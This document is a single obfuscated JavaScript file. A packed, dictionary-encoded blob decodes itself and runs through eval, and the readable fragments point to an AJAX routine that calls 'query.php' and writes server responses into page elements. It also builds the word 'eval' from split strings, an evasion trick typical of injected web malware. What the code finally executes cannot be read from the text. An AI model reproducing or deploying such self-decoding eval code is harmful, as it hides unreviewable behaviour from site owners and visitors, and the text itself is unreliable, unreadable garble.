?5&0A2!5UP6!6%4&1#3!3&8#<6*3H<??e&0-fM|$2UP6|-?9&5$3&d^QTP6|-5M&4$3-c^QT>G3&@4%eE-1&1!0J/9^$dI%c-fA2%X7T,ae%e%5%c-e%e%5%a-ewH2%1$8-b%4%X0-bIUBe%d$0$cA0%0$0A3%fFHb-e%5I%8-e%6IA2wB0%1$eA1D#3-b&fLF/?cQ-b$7-b$8-bMU,abO-bI-b$c-b$d-bUH3-fz-f%4-f%5-f%6T,aW0-W1-W2-W3-8~H8-c%9-c%a-c%b-c%c*6,aXe-Xf-dA0-dA1!e*7/d-5%G4!4#7^#6^*4>6D#9D#aD#bD#cU/Ya!YZb#G5VM~P2&?8-7DN&8DNUB5#<7&a!4N!@@c*4/9$7D!eE&c#<9-8*6>0^K!fL&a$?a-9*7/f#<9&@fDE-8!f*6,d1-5$7#<7Q#<7&6*4/@3-<@3%a-1$3$3J/2&We%Y3#4#7#G5~Ha#G3$3$7N-a-3!7JB5#4$2&@fV#4$2$cw/a$<f!6%4!@e!6Q*3B4#@4`#e!4&6-@1*1/e&a&aE#9#f#cK!eT>5#9$<e!6&8-e!3N*3P3&3!b#YY4!2K!5~BcIQ&4|I&6EyT>?2K#3K!b-f!G2~P1#@8#8#9#8DV&3w/c&b&6E#e&d^Q#4T/2&ZG2#7&6E-f|~/5&e&<5-2#ZeL#7UP0KQ&4|_&6E-6T/aA1#<c#9#b^`-8*7Bc$e&6`&1 `5&1#eT/f `7!f `7!f#c#5*3>4#9#f#4&0 `4#f#bw>3#f#7#3 `7#3#f#9*7>2#d#dK#8#bK#7#7*6/Y3K!Y3K!Y8#3~>3#8#8#3#c#d#3#c#c*7>1#6#6D `8D#bDU>Yc#5&0#5#b#5 `5T>5D#9#d$2&0I%4%7U>2L#R3&7#a&5_&6F/aO$@7yy%0KK*7/9%Z3$3V-bM-d#dJ,aa%b%9%0%5$Y5$X9*7H5_&9$e$R8&9%5O*6BfK_#?d$d$fV_F,af!d#4#6!b%f!2!f%4~P<aI%RR3#dKK*3/a!e!6-3!e!6$?e!6*3P3!@4`!@4I!@4*1P1-b-a&4!7-GdD-dJ>4^#7$c%W6#8^#4T/3$3$?eO$fM$eNJ/7!7E#Z3zN!0#aJPbA2-2$dD^$d#c^T/a!G8#dVO%7!1&8*1/<c-@2#Y@0K!0JH4_`#e-G3N|_*1/dE-e!4!2%9IQ%6~B8#dD^#<0$8VMJB7$W4#d#8^#Y@fJ/6#8!6-2A3A3&1E-a*6P2&?W4!?9!?8-3U>2$R6MV%8M&9%0*4B9%1Mz%8!@R3!d*4,d4yL%9&4&7L%7#3*7/R2!Xf!R4K$X2*4H2M%6&c-8-1-0&1!7*4H0%f#G5V$8#fy!2~Pf&GbL&@a-4L&fFPbN#c#6O%7$cA1&5wPRWf%6%6L&f&W9FH5%4N!3$3Q|K^J><<b-8V#G0y#bJ,adO!5&fy%9%RaOU>c-9&Ye!1#?f$3%0*1BeA3&5$2-8&7L#e-bFHc&1!7-8!@b$8$Xa*4>0K&4|%bD|A1#5T/c&1M$e%Z5$eMyUB<6$8#7$<6!4&b$8*4BXR4%0V%d#ez_*4H3O&<5D&0$1!7!5UPc#Z3&G<6%8E-1JHbN&0&3N&c&f&?8w>X6&5%c-7`O-1`*3H1M!@b$cMV$8!b*4>2`#9Q-a%fEL%cT,afN&7$@8-3%eD&3w/d-1L^%d#3A7A7A7F>b-8$3Q#G3$3Q#bJ/6QM!Z@6O$2!7*3>3$cO%9-a-9&8&5IUHa_$W9$e%4_!d-6UP3N#?b-e!f#4!f-fw>2%7M%8&5%WW6$d*4B6%9%8M!@b%R6$7*4/f#4`L%0%c%c%8yw>6#6$WR0#5%b%e%0*7H6%6$R4^V%1$fD~>9#Rc%a$X6$c%b#7wBeI_%6A3#W4%X9FBf&0-9!1&3!f!4-Z4*1Bf-f!Z7`N-1_z*4HX1DK#4#aA7&dOTH8M|$0$<ZdyD*4>1E%Z3%1#G3&bNJ>8!G4#3!4!4&1zM*4Ha!3&4%5%5`%@Z3*3/a&6-6O%X1#RbOTH3M%4z!GY3%9%4U,a6%R5$c%1O!Zc#e*3/4!1!?a%c_Q%5%6*1HR3!?a!GGd-fMU/a$<9#3%Z3ED`*3H0%0V$e`&3$8M$cJB4N!3!<8!3&bN#4J/9!0#b#b$2zV$1IJ,d<3!G6%0-e-f!?6*3/2!Gb%f$7$e%5$Rd~/7#3%X0%a%0M%0_*7Be%9%Yf$d$eMMOUH7E#6%fO%bEE#7T/6$c-e$c$0-Y9$0D*3H6%aO%RY3!5#4#3UBX2I%c&X9$e$f&bFHdD#aK#4E#bz$fTH5`%0$8!3#7$R2Q*3He%6$e%RdE#e|&eTB4DD$3E#f!f!fzT>4$f%4OI%e-5$@e*6/8!1!1DL!@4%bL*1/?0D`!e_V%4-5J,ac&bA6$@cA6D#?8w>7!3%1#G<a`-@2JB6#4$?b#6E&1&6|T,a6LE%5V%4Iz%6~/8L!1#a!4&6-@9!1*1/d#b#b#9#9D&6&6Nw>fN-3#3$cO%9&a%1UBb_I%4%a!6&1#4z*6Be%R0%X1E&?d&fTHbzz-fI$R8!e!f*6P?a&Wd$f%e-e_%7FBfL&9$dI%6%6$cIFB5$d#f-a$?2&4%9I~H7$X8A<9&cz$fDT/2&6!5$7#<?2&7!b~,d4EE&f&6|$YR8TB6Q_V%4!0&7!0_JHbA0_$c&4$3E!7&f*7/6%4&<6%4!e-f!5^*3/9-2|A3K!e|$cIT/9-G0&a!e!0K&c$fJB7OIO!6-1|%W4*6Be&7Q|#?Ga-6&8F>eDQI%8&<9!Z2~,a?b-8&?8#d-ZfVw/G5#eMz%?bQ&0*3>b `eQ#e$7&<b%7*3P5$c#6%b%W4%1%c^w/a!6!7&3-4-9-a-b-d*3B0%e-c-@<<<1!0J/eL!fL#<aKL#4F/9#4E#?9#6E#7ET>4!5#7!5#9!5#a!5#bU/6#6!6#7!6#G6#e!6*6>9!0#a!0#Z0#@0#eJ/7&6!7&9!7&a!7&Z7*7P?0&6!0&7!0&8!0&9J/1&Z1&@1&G1&eN*1>Rc%eI%c%XbD$cT>0&<b%b&0Q#f#4#6*3>fD#aKE|%8EEJ>0#5%1%6%0%?f%b#5*7H1%0%1ELLL#cQ*1Hd$W3!fI^*7\\\\7:"32);ev",&%W8$X6$c&b%0%1:"al(l)\\\'",!7!7!0&9zN!0#8y:");"};dk=[] E-r x in v){dk.push(trim(x,v))};e-l(dk 7\\\'\\\'))!v7#v8$vb%vc&v9*:8+,q-va/+7<0!>+8?5!@c!AvdB,bD#1E!9F:90Gd!H,cI$bJ*0K#2L!aM$9N!8O$aP+9Q$6R7%T*9U*5V$5W8%Xd%Ye#Zb!^#0_%3`$4w*8y&2z%2|!c~*2\\\\,#6#?e$2&<Wfy!\' Ec=46;c--;d=(t=d 5\'!#$%&*+-/<>?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 7t.pop())); 8 &=d J %}; 8unAJAX Nj C3 L ,B ]* ca(g_j); 3 cc ,T 0 Wc)} 3 b CBself=this; 3 G=="GET"){g_m=  v+  w+ Wg + Xg_m U *  X  v U;try{  b.setRequestHeader("Content-Type","application/x-www-form-urlencoded" 4){}}  b.onreadystatechange !){switch( #b.readyState){case 1: #y /2: #z /3: #A /4: := #b.r &Text; :XML= #b.r &XML; #r[0 T; #r[1 TText; 3#M){self.r H 3#T C(= #T.nodeName; (.toLowerCase(); 3(=="input Iselect Ioption Itextarea" C#T. ?= : *#T.innerHTML= :}} 3#r[0]=="200" C#D ]*#C()} #cg="";break} Qb.send( Wg)}} Qu ]+cd()} [.ajax 9g_p();try{ Bg_K 0\'g_J\') )o("query",g_K _F _h) )v="query.php" )G OK _G _h )cc=\'g_cb\' )y Oa )z Od )A Oe )D Of; K 4){ K)}  this _ !=function( #self _ $encodeURIComponent( %e +cc >T >v=file +g 9Object ]+r 9 .(2) &esponse (elemNodeName );ajax _ *}else{  +;   , C  -try{  b 9ActiveXObject("M .Array /();break;case  0=document.getElementById( 2true 3if(  4)}catch(e 5.split( 6.length 7.join( 8this.r 9=new  :self.r & ;T" +w="?" +cf="&" +c <return = !){ Q >=null + ?value @  g[key][ A(g_k[0],g_k[1]) Bvar  C){  E;for( FXMLHttpRequest HunR &()} I"|| (==" J +P= 2 +M=fals Kajax.runAJAX( M ,cg+= Wf+g_ N !g_ O=g_ Q} + RbIO#6z% T]= #b.status U, 2) V.XMLHTTP" 4 W  c Xb.open(  G, Y ! , Zg_ce [window ]()  ^g_h[g_E]} _.g_ `#a#';for(c=112;c;d=(t=d.split('   ! # $ % & ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C E F H I J K M N O Q R T U V W X Y Z [ ] ^ _ `'.substr(c-=(x=c<2?1:2),x))).join(t.pop()));eval(d)

